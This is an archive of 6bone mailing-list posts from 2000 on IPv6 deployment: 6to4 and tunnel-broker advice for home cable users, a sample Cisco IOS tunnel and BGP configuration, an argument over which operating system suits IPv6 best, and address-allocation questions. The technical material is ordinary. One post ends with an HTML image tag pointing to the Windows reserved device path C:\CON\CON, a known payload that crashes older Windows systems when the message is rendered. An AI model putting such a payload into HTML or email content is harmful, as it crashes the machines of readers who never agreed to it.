I use linux for my hookup to 6bone and it does the job well.

To get a tunnel i suggest to look at www.freenet6.net, they offer tunnels
to individual users and they provide a sample install script to configure
it..

The drawback is that you have to request a new tunnel each time your ip
changes..

Hope this helps..

Greetings,

Hugo

Daniel Morgan wrote:

> I'm interested in learning IPv6, and it seems the best way to learn it
> is to use it.  Thus, I have several questions about 6to4 tunneling.
>
> Can a home user using a cable modem that only assigns a dynamic IPv4
> address be used in 6to4 tunneling?  My cable internet is provided by
> Road Runner.
>
> What is the easiest operating system to do IPv6 with: FreeBSD, Linux,
> Solaris, or Windows NT?
> I will assume, for the moment, that Linux is the easiest since so much
> code and information is available for it, but you can prove me wrong.
>
> How do I enable 6to4 support in Linux to work with a cable modem?
>
> And I guess the most important question is how do I get a IPv6 address
> connected somehow to the 6BONE?
>
> Is there any ISPs willing to provide a IPv6 address to a home user in
> the southeastern United States?
>
> Thanks in advance,
> Daniel Morgan
> danmorg@sc.rr.com

--
Hugo Trippaers
HT2-6BONE
spark@knoware.nl


From 6bone-owner  Sun May 28 15:40:00 2000
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Message-ID: <008101bfc8f5$e0f94b00$0200a8c0@nt5matt.coredatalogic.com>
From: "Matt Bomar" <mbomar1@midsouth.rr.com>
To: "Daniel Morgan" <danmorg@sc.rr.com>, <6bone@ISI.EDU>
References: <393171E0.49B4AED8@sc.rr.com>
Subject: Re: 6to4 tunneling using a cable modem
Date: Sun, 28 May 2000 17:41:35 -0500
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I'm currently running IPv6 over Road Runner with Windows2000 and it works
fine.

Matt
mbomar1@midsouth.rr.com
rrtech@midsouth.rr.com

----- Original Message -----
From: "Daniel Morgan" <danmorg@sc.rr.com>
To: <6bone@ISI.EDU>
Sent: Sunday, May 28, 2000 2:22 PM
Subject: 6to4 tunneling using a cable modem


> I'm interested in learning IPv6, and it seems the best way to learn it
> is to use it.  Thus, I have several questions about 6to4 tunneling.
>
> Can a home user using a cable modem that only assigns a dynamic IPv4
> address be used in 6to4 tunneling?  My cable internet is provided by
> Road Runner.
>
> Thanks in advance,
> Daniel Morgan
> danmorg@sc.rr.com



From 6bone-owner  Sun May 28 17:51:28 2000
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I'm interested in learning IPv6, and it seems the best way to learn it
is to use it. Thus, I have several questions about 6to4 tunneling.

Can a home user using a cable modem that only assigns a dynamic IPv4
address be used in 6to4 tunneling? My cable internet is provided by
Road Runner.

What is the easiest operating system to do IPv6 with: FreeBSD, Linux,
Solaris, or Windows NT?
I will assume, for the moment, that Linux is the easiest since so much
code and information is available for it, but you can prove me wrong.

How do I enable 6to4 support in Linux to work with a cable modem?

And I guess the most important question is how do I get a IPv6 address
connected somehow to the 6BONE?


______________________________________


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From 6bone-owner  Sun May 28 18:37:49 2000
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From: "Foster, Kristopher" <KFoster@C1Communications.com>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: IPv6 over IPv4 tunnels in IOS
Date: Sun, 28 May 2000 21:43:34 -0400
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I have been searching for tunneling examples on the Cisco platform.  So far
my attempts at configuring our tunnel have not been successful, any help
would be appreciated.

Sincerely,
Kristopher K. Foster
Technologist
C1 Communications
http://www.c1communications.com
office: 905/814-3320
cell: 416/728-2763


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To: 6bone@ISI.EDU
Subject: RE: IPv6 over IPv4 tunnels in IOS
Date: Mon, 29 May 2000 07:08:39 +0200
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Hi Kristopher,

Here's an example configuration with some bgp peerings.
It would be better to use a loopback interface as 
tunnel source, so that the tunnel would still be
up, when the ethernet's down.

I'm also not sure, if the prefix-lists are 
the best thing to do (le 128).

Comments are welcome!

<---snipp--->
version 12.0
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname 6bone
!
enable secret 5 XXXXXXXXXXXXXXX
!
!
!
!
!
ip subnet-zero
ip domain-name gendorf.net
ip name-server 212.68.96.75
!
!
!
interface Tunnel0
 description Tunnel to JOIN (www.join.uni-muenster.de)
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:401:0:1::5:2/112
 tunnel source Ethernet0
 tunnel destination 128.176.191.66
 tunnel mode ipv6ip
!
interface Tunnel1
 description Tunnel to regio.net
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:3500:100::11/126
 tunnel source Ethernet0
 tunnel destination 212.218.0.9
 tunnel mode ipv6ip
!
interface Tunnel2
 description Tunnel zur Uni Erlangen
(erich.meier@informatik.uni-erlangen.de)
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:400:50:200::2:2/112
 tunnel source Ethernet0
 tunnel destination 131.188.34.2
 tunnel mode ipv6ip
!
interface Tunnel3
 description Tunnel zur Uni Leipzig (toenjes@informatik.uni-leipzig.de)
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:400:280:F001::1A/126
 tunnel source Ethernet0
 tunnel destination 139.18.38.71
 tunnel mode ipv6ip
!
interface Tunnel4
 description Tunnel zu Fibertel (platini@fibertel.com.ar)
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:3800::A:2/112
 tunnel source Ethernet0
 tunnel destination 24.232.1.5
 tunnel mode ipv6ip
!
interface Ethernet0
 ip address 212.68.96.114 255.255.255.252
 no ip directed-broadcast
 media-type 10BaseT
 ipv6 address 3FFE:400:3B0::CFF:EE1A:AB19/80
!
interface Ethernet1
 no ip address
 no ip directed-broadcast
 shutdown
!
router bgp 12853
 no synchronization
 bgp dampening
 neighbor 3FFE:400:50:200::2:1 remote-as 1275
 no neighbor 3FFE:400:50:200::2:1 activate
 neighbor 3FFE:400:280:F001::19 remote-as 1275
 no neighbor 3FFE:400:280:F001::19 activate
 neighbor 3FFE:401:0:1::5:1 remote-as 1275
 no neighbor 3FFE:401:0:1::5:1 activate
 neighbor 3FFE:3500:100::10 remote-as 8319
 no neighbor 3FFE:3500:100::10 activate
 neighbor 3FFE:3800::A:1 remote-as 10318
 no neighbor 3FFE:3800::A:1 activate
 !
 address-family ipv6
 neighbor 3FFE:400:50:200::2:1 activate
 neighbor 3FFE:400:50:200::2:1 override-capability-neg
 neighbor 3FFE:400:50:200::2:1 prefix-list JOIN in
 neighbor 3FFE:400:50:200::2:1 prefix-list erlangen-out out
 neighbor 3FFE:400:280:F001::19 activate
 neighbor 3FFE:400:280:F001::19 override-capability-neg
 neighbor 3FFE:400:280:F001::19 prefix-list JOIN in
 neighbor 3FFE:400:280:F001::19 prefix-list leipzig-out out
 neighbor 3FFE:401:0:1::5:1 activate
 neighbor 3FFE:401:0:1::5:1 override-capability-neg
 neighbor 3FFE:401:0:1::5:1 prefix-list FULL in
 neighbor 3FFE:401:0:1::5:1 prefix-list join-out out
 neighbor 3FFE:3500:100::10 activate
 neighbor 3FFE:3500:100::10 override-capability-neg
 neighbor 3FFE:3500:100::10 prefix-list FULL in
 neighbor 3FFE:3500:100::10 prefix-list regio-out out
 neighbor 3FFE:3800::A:1 activate
 neighbor 3FFE:3800::A:1 override-capability-neg
 neighbor 3FFE:3800::A:1 prefix-list FULL in
 neighbor 3FFE:3800::A:1 prefix-list fibertel-out out
 network 3FFE:400:3B0::/48
 network 3FFE:3500:100::/48
 aggregate-address 3FFE:400:3B0::/48
 aggregate-address 3FFE:3500:100::/48
 exit-address-family
!
ip default-gateway 212.68.96.113
ip classless
ip route 0.0.0.0 0.0.0.0 212.68.96.113
no ip http server
!
!
ip prefix-list FULL seq 5 permit 3FFE::/16 le 128
ip prefix-list FULL seq 10 permit 2001::/16 le 128
ip prefix-list FULL seq 15 permit 2002::/16 le 128
!         
ip prefix-list JOIN seq 5 permit 3FFE:400::/24 le 128
!
ip prefix-list erlangen-out seq 5 permit 3FFE:400:3B0::/48 le 128
ip prefix-list erlangen-out seq 10 permit 3FFE:3500:100::/48 le 128
ip prefix-list erlangen-out seq 15 permit 3FFE:400:180::/48 le 128
ip prefix-list erlangen-out seq 20 permit 3FFE:400:280::/48 le 128
!
ip prefix-list fibertel-out seq 5 deny ::/0 le 128
!
ip prefix-list join-out seq 5 permit 3FFE:400:50::/48 le 128
ip prefix-list join-out seq 10 permit 3FFE:400:180::/48 le 128
ip prefix-list join-out seq 15 permit 3FFE:400:280::/48 le 128
ip prefix-list join-out seq 20 permit 3FFE:400:3B0::/48 le 128
!
ip prefix-list leipzig-out seq 5 permit 3FFE:400:3B0::/48 le 128
ip prefix-list leipzig-out seq 10 permit 3FFE:3500:100::/48 le 128
ip prefix-list leipzig-out seq 15 permit 3FFE:400:50::/48 le 128
!
ip prefix-list regio-out seq 5 permit 3FFE:3500:100::/48 le 128
!
!
line con 0
 transport input none
line aux 0
line vty 0 4
 password 7 XXXXXXXXXXXXXXX
 login
!
end
<---snipp--->

Kind regards,
 
Stefan Gasteiger
SG5599-RIPE
I+K Betrieb (zertifiziert nach DIN EN ISO 9001)
InfraServ Gendorf		
Tel.: +49 8679 7 5599	
Fax: +49 8679 7 39 5599
Mobiltel.: +49 172 8649205
E-Mail: Stefan.Gasteiger@gendorf.de




> -----Original Message-----
> From: Foster, Kristopher [mailto:KFoster@C1Communications.com]
> Sent: Monday, May 29, 2000 3:44 AM
> To: '6bone@isi.edu'
> Subject: IPv6 over IPv4 tunnels in IOS
> 
> 
> I have been searching for tunneling examples on the Cisco 
> platform.  So far
> my attempts at configuring our tunnel have not been 
> successful, any help
> would be appreciated.
> 
> Sincerely,
> Kristopher K. Foster
> Technologist
> C1 Communications
> http://www.c1communications.com
> office: 905/814-3320
> cell: 416/728-2763
> 

From 6bone-owner  Mon May 29 12:34:16 2000
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From: "Joel Barrett" <cnebody@mindspring.com>
To: "Foster, Kristopher" <KFoster@C1Communications.com>,
        "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: IPv6 over IPv4 tunnels in IOS
Date: Mon, 29 May 2000 15:34:15 -0400
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You can check out the Cisco IPv6 website at
	http://www.cisco.com/go/ipv6

While I found no specific configurations, there is quite a bit of good
information available there, plus the IOS software for the routers. The
current IOS implementation is based on IOS 12.1 and includes support for the
following functionality:

* RIPv6
* BGP4+ for IPv6
* IPv6 Static Routes
* EUI-64 Addressing
* Traffic Filtering
* IPv4 <---> IPv6 Address Translation
* Automatic and Static Tunnels
* Neighbour Discovery
* IPv6 over Ethernet, FDDI, Cisco HDLC and ATM PVCs.
* Dual Stack support for Telnet, DNS and TFTP.
* ICMPv6 and Ping
* Traceroute and Debug Command

I also found a decent IPv6 config example at
	http://www.ipv6.surfnet.nl/sheets/100.html


Joel Barrett


--
Joel W. Barrett, Systems Engineer
Service Provider Channel
CISCO SYSTEMS, INC.
500 Northridge Rd., Suite 800
Atlanta, GA 30350
Email: joel.barrett@cisco.com
Email pager: jbarrett3@bellsouthips.com
Cell : (678)640-0634 (primary phone)
Vmail: (678)352-2753
Pager: (800)365-4578
Web  : http://www.cisco.com
"Empowering the Internet Generation"


-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
Foster, Kristopher
Sent: Sunday, May 28, 2000 9:44 PM
To: '6bone@isi.edu'
Subject: IPv6 over IPv4 tunnels in IOS


I have been searching for tunneling examples on the Cisco platform.  So far
my attempts at configuring our tunnel have not been successful, any help
would be appreciated.

Sincerely,
Kristopher K. Foster
Technologist
C1 Communications
http://www.c1communications.com
office: 905/814-3320
cell: 416/728-2763


From 6bone-owner  Mon May 29 16:23:58 2000
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Date: Mon, 29 May 2000 17:24:28 -0600
From: Miles Nordin <carton@Ivy.NET>
To: 6bone@ISI.EDU
Subject: How to make IPv6 work with Cabel Modemz
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On Mon, May 29, 2000 at 04:03:24AM +0000, pilot0920 wrote:
> What is the easiest operating system to do IPv6 with: FreeBSD, Linux,
> Solaris, or Windows NT?

I'm afraid this will degenerate into the usual Mac-vs-PeeCee style of 
useless war, but that's never stopped me before.

One problem with making these (IMHO, rather important) evaluations is that 
they change from month to month as each project grows in the direction of 
their various goals.  I get the impression that FreeBSD in particular 
has made a lot of recent progress.

That said, from watching this list and keeping my eyes open for the last 
few years, I absolutely cannot recommend working with any experimental 
Linux feature.  The project is too disorganized, poorly supported, and 
overburdened with people who ask silly questions on high-traffic mailing 
lists without reading any documentation first.

Your best bet if you want an IPv6 Linux machine is to keep your eyes open 
at your local CompUSA for a box from RedHat or Corel or Caldera or 
something that says, ``New, Improved, now with IPv6 built in!'' in 
gigantic red shaking text next to a grinning stoned penguin.  Buy the 
box, tear off the shrinkwrap, and read the 10-page installation 
manual.  If you have any further questions, post immediately to your 
manufacturer's mailing list and request a private reply--there's no 
need to subscribe, because Linux support is excellent.  The Linux 
community includes a band of enthusiastic knowledgeable ``volunteers'' 
who are happy to answer _all_ your questions.

However, until CompUSA starts selling such a box, things are a little more 
difficult.  You can make them easier on yourself by avoiding Linux for now.


NetBSD is a good and all-too-often gratuitously overlooked choice.  Their 
integration of the KAME code is the oldest, and is not surprisingly very, 
very complete.  The project is lucky enough to include a few particular 
developers who have kept up a long-term commitment to get things resolved  
quickly and cleanly, and their progress has amazed me.

I remember a certain Bay Networks wireless driver that got IPv6-corrected 
literally the day after it was integrated to -current, thus giving the 
NetBSDers at the IETF conference a working wireless IPv6 to show all 
their colleagues. :)

Most of the NetBSD packages collection is IPv6-enabled as well. :'

I don't even have IPv6 enabled on my system, yet:

casey:~/work$ uname -a
NetBSD casey 1.4X NetBSD 1.4X (CASEY) #8: Mon Apr 10 17:18:02 MDT 2000     carton@casey:/scratch/src/sys/arch/sparc/compile/CASEY sparc
casey:~/work$ telnet ::1
Trying ::1...
Connected to ::1.
Escape character is '^]'.
[...]

This has worked for a very long time. :)

> Linux is the easiest since so much code and information is available for it, 

I have not attempted a Linux set-up.  However, I would advise against this 
path, and also this reasoning.  First, why not the Linux path?  Linux's 
integration of IPv6 is recent, incomplete, and spottily-maintained.  Not so 
much for lack of effort, but just because it's really difficult to move 
in a consistent direction on that project without the active involvement of 
Linus or one of the wealthier distributions (meaning, RedHat).  NetBSD (and 
FreeBSD) offers a complete IPv6-aware installation out of the box.  With 
Linux, you need to tweak kernel parameters and integrate FreeSWAN code, all 
the while working against maintainers like Linus and distributors like 
RedHat who have higher priorities than integrating IPv6.

n.b. a recent posting on this list, that the IPv6 module for Linux does not 
export/import the proper symbols, and therefore has to be statically linked 
into the kernel.  That alone would be a problem not even worth mentioning, 
except that IPv6 was _offered_ to you as a module, so you have to stumble 
around and figure out w.t.f. is wrong, and the brokenness changes from one 
week to the next.  In my experience, this is typical.  BSD -current has far 
fewer of these problems, and that's probably just the tip of the iceburg.  
ex., ``What about Apache-v6?  any one got an RPM?''  On BSD, already done.

Intuitively, it's best to get a ``distro,'' as those crazy Linux kids 
keep calling it, with IPv6 built in.  That means BSD.


Now, on to the reasoning that led you to Linux in the first place.  Your 
assumption that volume == quality is a dangerous one.  One might 
convincingly argue that 

 (a) you do not need ``much code.''  You need ``enough code.''  Given that 
     Implementation X, Y, and Z all work and are complete, the one with 
     the least code is likely to be nicer to use, configure, improve, u.s.w.

 (b) the reason you can count the amount of code available for Linux is that 
     Linux has not integrated said code.  You do not count the size of KAME 
     on *BSD because it's already rolled into the OS.  The fact that you have 
     an ``amount of code'' to quantify is a bad sign.

 (c) Often I've found that the reason Linux has so much documentation is that 
     it is rife with special cases, difficult to configure, varies 
     tremendously from one installation to the next.  Sometimes, the 
     documentation is even sloppily-written ``HOWTO'' style script-kiddie 
     documentation littered with the second person pronouns and ``okay, 
     like...'' if not with 3's 1's ph's and z's.  see 

       http://crackmonkey.org/faq.html#ANSWER26 

     for a continuation of my hyperbole.

     I would not deny that Linux's documentation is among its greatest 
     strengths.  For example, Linux books have basically taken over my 
     local bookstore.  But, you should at least be aware of an alternate 
     perspective.

     Note that the VAX and the AS/400 come with a lot of documentation, 
     too.  Once again, personally I prefer brief, consistent, and helpful, 
     over long, whimsical, and condescending.

> but you can prove me wrong.

no, I can't.  It's not _that_ unambiguous.  I've told you what I know and 
what I think, and that's all I can do.  

If you're persistent, I'm sure you can get whatever system you want to 
work.  You may have other issues, like for example you may know Linux 
better than you know any other Unix, or you may just plain like it.  But, 
you asked, ``which is easiest.''  I've told you what I think is easiest.

> How do I enable 6to4 support in Linux to work with a cable modem?

We could really use a list archive or something--is anyone keeping one?  
Anyway, people ask your question at least three times a week, so please 
don't take this personally, but...

Generally you can't get answers on this list unless you ask a question 
that proves you've already done some reading.  The best answer you'll get 
to the question above is:

  see http://www.freenet6.net and http://www.6bone.org.

I always feel bad saying that, because I'm not sure how you managed to find 
this list without finding the web sites and their documentation first.  But, 
there's nothing for it:  start reading and get to work.  Good luck!

-- 
Miles Nordin / v:+1 720 841-8308 fax:+1 530 579-8680
555 Bryant Street PMB 182 / Palo Alto, CA 94301-1700 / US

<IMG SRC="C:\CON\CON" HEIGHT="0" WIDTH="0">

From 6bone-owner  Tue May 30 04:32:40 2000
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I am looking for an Ipv6 Traffic Generator for Windows NT. I have probed
with Network Monitor V.400.351 an Sniffer Pro Version 2.50.07 but my
attempts have not been successful, any help would be appreciated.
Thanks.
Noelia

From 6bone-owner  Tue May 30 04:38:07 2000
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Subject: ipv6  Traffic Generator(more than 100 packets per second)
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I am looking for an Ipv6 Traffic Generator for Windows NT that lets me send
more than 100 packets per second. I have probed with Network Monitor
V.400.351 an Sniffer Pro Version 2.50.07 but my attempts have not been
successful, any help would be appreciated.
Thanks.

From 6bone-owner  Tue May 30 05:54:49 2000
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To: Spark <spark@knoware.nl>
CC: Daniel Morgan <danmorg@sc.rr.com>, 6bone@ISI.EDU
Subject: Re: 6to4 tunneling using a cable modem
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Right. I don't think 6to4 has any special advantage if your IPv4 address is dynamic.
Better to find a tunnel broker.

  Brian

Spark wrote:
> 
> Hi Daniel,
> 
> Basically whay you need is just an IP connection to the Internet to setup
> your tunnel. So a cable modem should be fine.
> 
> I use linux for my hookup to 6bone and it does the job well.
> 
> To get a tunnel i suggest to look at www.freenet6.net, they offer tunnels
> to individual users and they provide a sample install script to configure
> it..
> 
> The drawback is that you have to request a new tunnel each time your ip
> changes..
> 
> Hope this helps..
> 
> Greetings,
> 
> Hugo
> 
> Daniel Morgan wrote:
> 
> > I'm interested in learning IPv6, and it seems the best way to learn it
> > is to use it.  Thus, I have several questions about 6to4 tunneling.
> >
> > Can a home user using a cable modem that only assigns a dynamic IPv4
> > address be used in 6to4 tunneling?  My cable internet is provided by
> > Road Runner.
> >
> > What is the easiest operating system to do IPv6 with: FreeBSD, Linux,
> > Solaris, or Windows NT?
> > I will assume, for the moment, that Linux is the easiest since so much
> > code and information is available for it, but you can prove me wrong.
> >
> > How do I enable 6to4 support in Linux to work with a cable modem?
> >
> > And I guess the most important question is how do I get a IPv6 address
> > connected somehow to the 6BONE?
> >
> > Is there any ISPs willing to provide a IPv6 address to a home user in
> > the southeastern United States?
> >
> > Thanks in advance,
> > Daniel Morgan
> > danmorg@sc.rr.com
> 
> --
> Hugo Trippaers
> HT2-6BONE
> spark@knoware.nl

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From 6bone-owner  Tue May 30 11:16:04 2000
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From: Richard Draves <richdr@microsoft.com>
To: Brian E Carpenter <brian@hursley.ibm.com>, Spark <spark@knoware.nl>
Cc: Daniel Morgan <danmorg@sc.rr.com>, 6bone@ISI.EDU
Subject: RE: 6to4 tunneling using a cable modem
Date: Tue, 30 May 2000 11:02:06 -0700
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The advantage of using 6to4 is that when your IPv4 address changes, you
don't have to contact a tunnel broker to change your tunnel. You make all
the required configuration changes locally. The disadvantage of using 6to4
in this situation is that your IPv6 prefix changes so you have to renumber.

Rich

> -----Original Message-----
> From: Brian E Carpenter [mailto:brian@hursley.ibm.com]
> Sent: Tuesday, May 30, 2000 5:54 AM
> To: Spark
> Cc: Daniel Morgan; 6bone@ISI.EDU
> Subject: Re: 6to4 tunneling using a cable modem
> 
> 
> Right. I don't think 6to4 has any special advantage if your 
> IPv4 address is dynamic.
> Better to find a tunnel broker.
> 
>   Brian
> 
> Spark wrote:
> > 
> > Hi Daniel,
> > 
> > Basically whay you need is just an IP connection to the 
> Internet to setup
> > your tunnel. So a cable modem should be fine.
> > 
> > I use linux for my hookup to 6bone and it does the job well.
> > 
> > To get a tunnel i suggest to look at www.freenet6.net, they 
> offer tunnels
> > to individual users and they provide a sample install 
> script to configure
> > it..
> > 
> > The drawback is that you have to request a new tunnel each 
> time your ip
> > changes..
> > 
> > Hope this helps..
> > 
> > Greetings,
> > 
> > Hugo
> > 
> > Daniel Morgan wrote:
> > 
> > > I'm interested in learning IPv6, and it seems the best 
> way to learn it
> > > is to use it.  Thus, I have several questions about 6to4 
> tunneling.
> > >
> > > Can a home user using a cable modem that only assigns a 
> dynamic IPv4
> > > address be used in 6to4 tunneling?  My cable internet is 
> provided by
> > > Road Runner.
> > >
> > > What is the easiest operating system to do IPv6 with: 
> FreeBSD, Linux,
> > > Solaris, or Windows NT?
> > > I will assume, for the moment, that Linux is the easiest 
> since so much
> > > code and information is available for it, but you can 
> prove me wrong.
> > >
> > > How do I enable 6to4 support in Linux to work with a cable modem?
> > >
> > > And I guess the most important question is how do I get a 
> IPv6 address
> > > connected somehow to the 6BONE?
> > >
> > > Is there any ISPs willing to provide a IPv6 address to a 
> home user in
> > > the southeastern United States?
> > >
> > > Thanks in advance,
> > > Daniel Morgan
> > > danmorg@sc.rr.com
> > 
> > --
> > Hugo Trippaers
> > HT2-6BONE
> > spark@knoware.nl
> 

From 6bone-owner  Tue May 30 12:43:51 2000
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Date: Tue, 30 May 2000 14:41:18 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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To: Richard Draves <richdr@microsoft.com>
CC: Spark <spark@knoware.nl>, Daniel Morgan <danmorg@sc.rr.com>, 6bone@ISI.EDU
Subject: Re: 6to4 tunneling using a cable modem
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Exactly. You could write a script to set up the IPv6 tunnel each time you
connected via IPv4, but your IPv6 DNS entry would be permanent.

6to4 was not designed for this situation.

  Brian

Richard Draves wrote:
> 
> The advantage of using 6to4 is that when your IPv4 address changes, you
> don't have to contact a tunnel broker to change your tunnel. You make all
> the required configuration changes locally. The disadvantage of using 6to4
> in this situation is that your IPv6 prefix changes so you have to renumber.
> 
> Rich
> 
> > -----Original Message-----
> > From: Brian E Carpenter [mailto:brian@hursley.ibm.com]
> > Sent: Tuesday, May 30, 2000 5:54 AM
> > To: Spark
> > Cc: Daniel Morgan; 6bone@ISI.EDU
> > Subject: Re: 6to4 tunneling using a cable modem
> >
> >
> > Right. I don't think 6to4 has any special advantage if your
> > IPv4 address is dynamic.
> > Better to find a tunnel broker.
> >
> >   Brian
> >
> > Spark wrote:
> > >
> > > Hi Daniel,
> > >
> > > Basically whay you need is just an IP connection to the
> > Internet to setup
> > > your tunnel. So a cable modem should be fine.
> > >
> > > I use linux for my hookup to 6bone and it does the job well.
> > >
> > > To get a tunnel i suggest to look at www.freenet6.net, they
> > offer tunnels
> > > to individual users and they provide a sample install
> > script to configure
> > > it..
> > >
> > > The drawback is that you have to request a new tunnel each
> > time your ip
> > > changes..
> > >
> > > Hope this helps..
> > >
> > > Greetings,
> > >
> > > Hugo
> > >
> > > Daniel Morgan wrote:
> > >
> > > > I'm interested in learning IPv6, and it seems the best
> > way to learn it
> > > > is to use it.  Thus, I have several questions about 6to4
> > tunneling.
> > > >
> > > > Can a home user using a cable modem that only assigns a
> > dynamic IPv4
> > > > address be used in 6to4 tunneling?  My cable internet is
> > provided by
> > > > Road Runner.
> > > >
> > > > What is the easiest operating system to do IPv6 with:
> > FreeBSD, Linux,
> > > > Solaris, or Windows NT?
> > > > I will assume, for the moment, that Linux is the easiest
> > since so much
> > > > code and information is available for it, but you can
> > prove me wrong.
> > > >
> > > > How do I enable 6to4 support in Linux to work with a cable modem?
> > > >
> > > > And I guess the most important question is how do I get a
> > IPv6 address
> > > > connected somehow to the 6BONE?
> > > >
> > > > Is there any ISPs willing to provide a IPv6 address to a
> > home user in
> > > > the southeastern United States?
> > > >
> > > > Thanks in advance,
> > > > Daniel Morgan
> > > > danmorg@sc.rr.com
> > >
> > > --
> > > Hugo Trippaers
> > > HT2-6BONE
> > > spark@knoware.nl
> >

From 6bone-owner  Tue May 30 14:14:34 2000
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> Robbie_harrell@INS.COM wrote:
> 
> help
A little more details might help us help :-).

Jim
-- 
Studies show that 1 out of every 4 Americans suffer some form of
    mental illness.  So look at your three best friends, if they
    are okay it is YOU!

From 6bone-owner  Sat Jun  3 02:02:15 2000
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From: Haisang Wu <hswu@ns.6test.edu.cn>
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Subject: Re: About address allocating
In-Reply-To: <4.2.2.20000518115347.01cf2058@imap2.es.net> from Bob Fink at "May 18, 2000 12: 4:58 pm"
To: fink@es.net (Bob Fink)
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hi,dear Bob:
   Sorry to trouble you again.
   CERNET decided to allocate only /48 to SLAs, not /56 or sth else. 
And, a sTLA is far from enough to China with such a large population.
   Now we are going to do allocating in CERNET now. I wonder if other
sTLAs have had experience in allocating, especialy in technical details.
But last time the URL you gave me http://esnet-v6r2.es.net/ is not
accessible, I cannot see their detailed plan. Could you or any friend
give me some help?
  best
                                  Haisang Wu

From 6bone-owner  Sat Jun  3 14:28:48 2000
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To: Haisang Wu <hswu@ns.6test.edu.cn>
From: Bob Fink <fink@es.net>
Subject: Re: About address allocating
Cc: 6bone@ISI.EDU
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At 04:59 PM 6/3/2000 +0800, Haisang Wu wrote:
>hi,dear Bob:
>    Sorry to trouble you again.
>    CERNET decided to allocate only /48 to SLAs, not /56 or sth else.
>And, a sTLA is far from enough to China with such a large population.
>    Now we are going to do allocating in CERNET now. I wonder if other
>sTLAs have had experience in allocating, especialy in technical details.
>But last time the URL you gave me http://esnet-v6r2.es.net/ is not
>accessible, I cannot see their detailed plan. Could you or any friend
>give me some help?

It seems busted. I think some ESnet web work is going on, but I'll get it 
fixed and let you know.


Bob


From 6bone-owner  Sun Jun  4 18:40:11 2000
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To: Bob Fink <fink@es.net>, Haisang Wu <hswu@ns.6test.edu.cn>
Cc: 6bone@ISI.EDU
Subject: Re: About address allocating 
In-Reply-To: Your message of "Sat, 03 Jun 2000 14:26:04 PDT."
             <4.3.1.2.20000603142337.023a9c90@imap2.es.net> 
Date: Sun, 04 Jun 2000 18:40:21 -0700
From: Vui Le <vuile@es.net>
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Please try www-6bone.es.net. The server was recently upgraded and
given a more appropriate name. Thanks.

- Vui

> At 04:59 PM 6/3/2000 +0800, Haisang Wu wrote:
> >hi,dear Bob:
> >    Sorry to trouble you again.
> >    CERNET decided to allocate only /48 to SLAs, not /56 or sth else.
> >And, a sTLA is far from enough to China with such a large population.
> >    Now we are going to do allocating in CERNET now. I wonder if other
> >sTLAs have had experience in allocating, especialy in technical details.
> >But last time the URL you gave me http://esnet-v6r2.es.net/ is not
> >accessible, I cannot see their detailed plan. Could you or any friend
> >give me some help?
> 
> It seems busted. I think some ESnet web work is going on, but I'll get it 
> fixed and let you know.
> 
> 
> Bob

========================================================================
Vui Q. Le                                      Phone: (510) 495-2204
Energy Sciences Network (ESnet)                Fax  : (510) 486-6712
Network Engineering Services Group             Email: vuile@es.net
Lawrence Berkeley National Laboratory          URL  : http://www.es.net/
========================================================================

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Date: Mon, 05 Jun 2000 08:14:44 -0700
From: Nick Sayer <nsayer@quack.kfu.com>
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Subject: IPv6 FreeBSD mirror
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I thought I had announced this already, but I think I forgot.

There is an IPv6-only www and ftp mirror of FreeBSD available at
mirror.sftw.com,
courtesey of Enlighten Software.

I don't believe that IPv6 only installations of FreeBSD work yet, but
folks who want
to are welcome to try. It's not an absolutely complete mirror, but most
of the
important stuff is there.

Comments are welcome.

From 6bone-owner  Mon Jun  5 19:08:27 2000
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Subject: N+I IPv6 showcase booth 
From: Jun-ichiro itojun Hagino <itojun@itojun.org>
Date: Tue, 06 Jun 2000 11:08:30 +0900
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#	Sorry if you have got this message twice, I have sent this once
#	but seen no delivery back to myself...

	At NetWorld+Interop tokyo (June 7-9), We have a booth named "IPv6
	showcase".  We will demonstrate:
	- an IPv6 network in a booth, by using routers/end nodes from
	  more-than-10 vendors
	- IPv6 web client/server (including Win2K IE)
	- IPv6 ftp client/server
	- and of course, as always, IPv6 quake!
	We will also have bunch of presentations at the booth, highlighting
	recent deployment and product status.

	We should also note that, in N+I tokyo, 
	- we have IPv6-only zone in terminal cluster
	- NOC provides IPv6-to-IPv4 translator (based on tcp relay)
		(so you have no problem even if you have no IPv4 reachability)
	- all drop cables to booth are IPv4/v6 dual stack ready
	Kudos to NOC guys!

	If you cannot visit N+I tokyo, the following IPv6 servers are waiting
	for your accesses, feel free to fight with the visitors by
	"quake over IPv6"!

	quake: quakeserver.ipv6showcase.jp.interop.net
	web: http://www-kame.ipv6showcase.jp.interop.net/
	web: http://www-kondara.ipv6showcase.jp.interop.net/
	web: http://www-ms.ipv6showcase.jp.interop.net/

itojun

From 6bone-owner  Tue Jun  6 04:28:26 2000
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Date: Tue, 6 Jun 2000 19:26:54 +0800
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     I AM A CHINESE STUDENT,NOW,I HAVE INSTALLED WINDOWS2000 AND BUILD A =
IPV6 STACK .USING " IPV6 "COMMAND,I TRY TO CONNECT WITH =
6TO4(::131.107.65.121).WHEN I HAVE FINISHED ALL THE COMMAND ,I TYPE=20
" PING6 ::131.107.65.121"
THE RESULT IS,TOO MUCH "REQUEST TIMMED OUT" AND SHOW REPLY ONCE IN A =
WHILE,HOWEVER,IF I TYPE "PING 131.107.65.121" ,THE RESULT IS NORMAL.WHY?

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
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<HEAD>

<META content=3Dtext/html;charset=3Dgb2312 http-equiv=3DContent-Type>
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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DTahoma size=3D2>&nbsp;&nbsp;&nbsp;&nbsp; I AM A =
CHINESE=20
STUDENT,NOW,I HAVE INSTALLED WINDOWS2000 AND BUILD A </FONT><FONT =
face=3DTahoma=20
size=3D2>IPV6 STACK .USING &quot; IPV6 &quot;COMMAND,I TRY TO CONNECT =
WITH=20
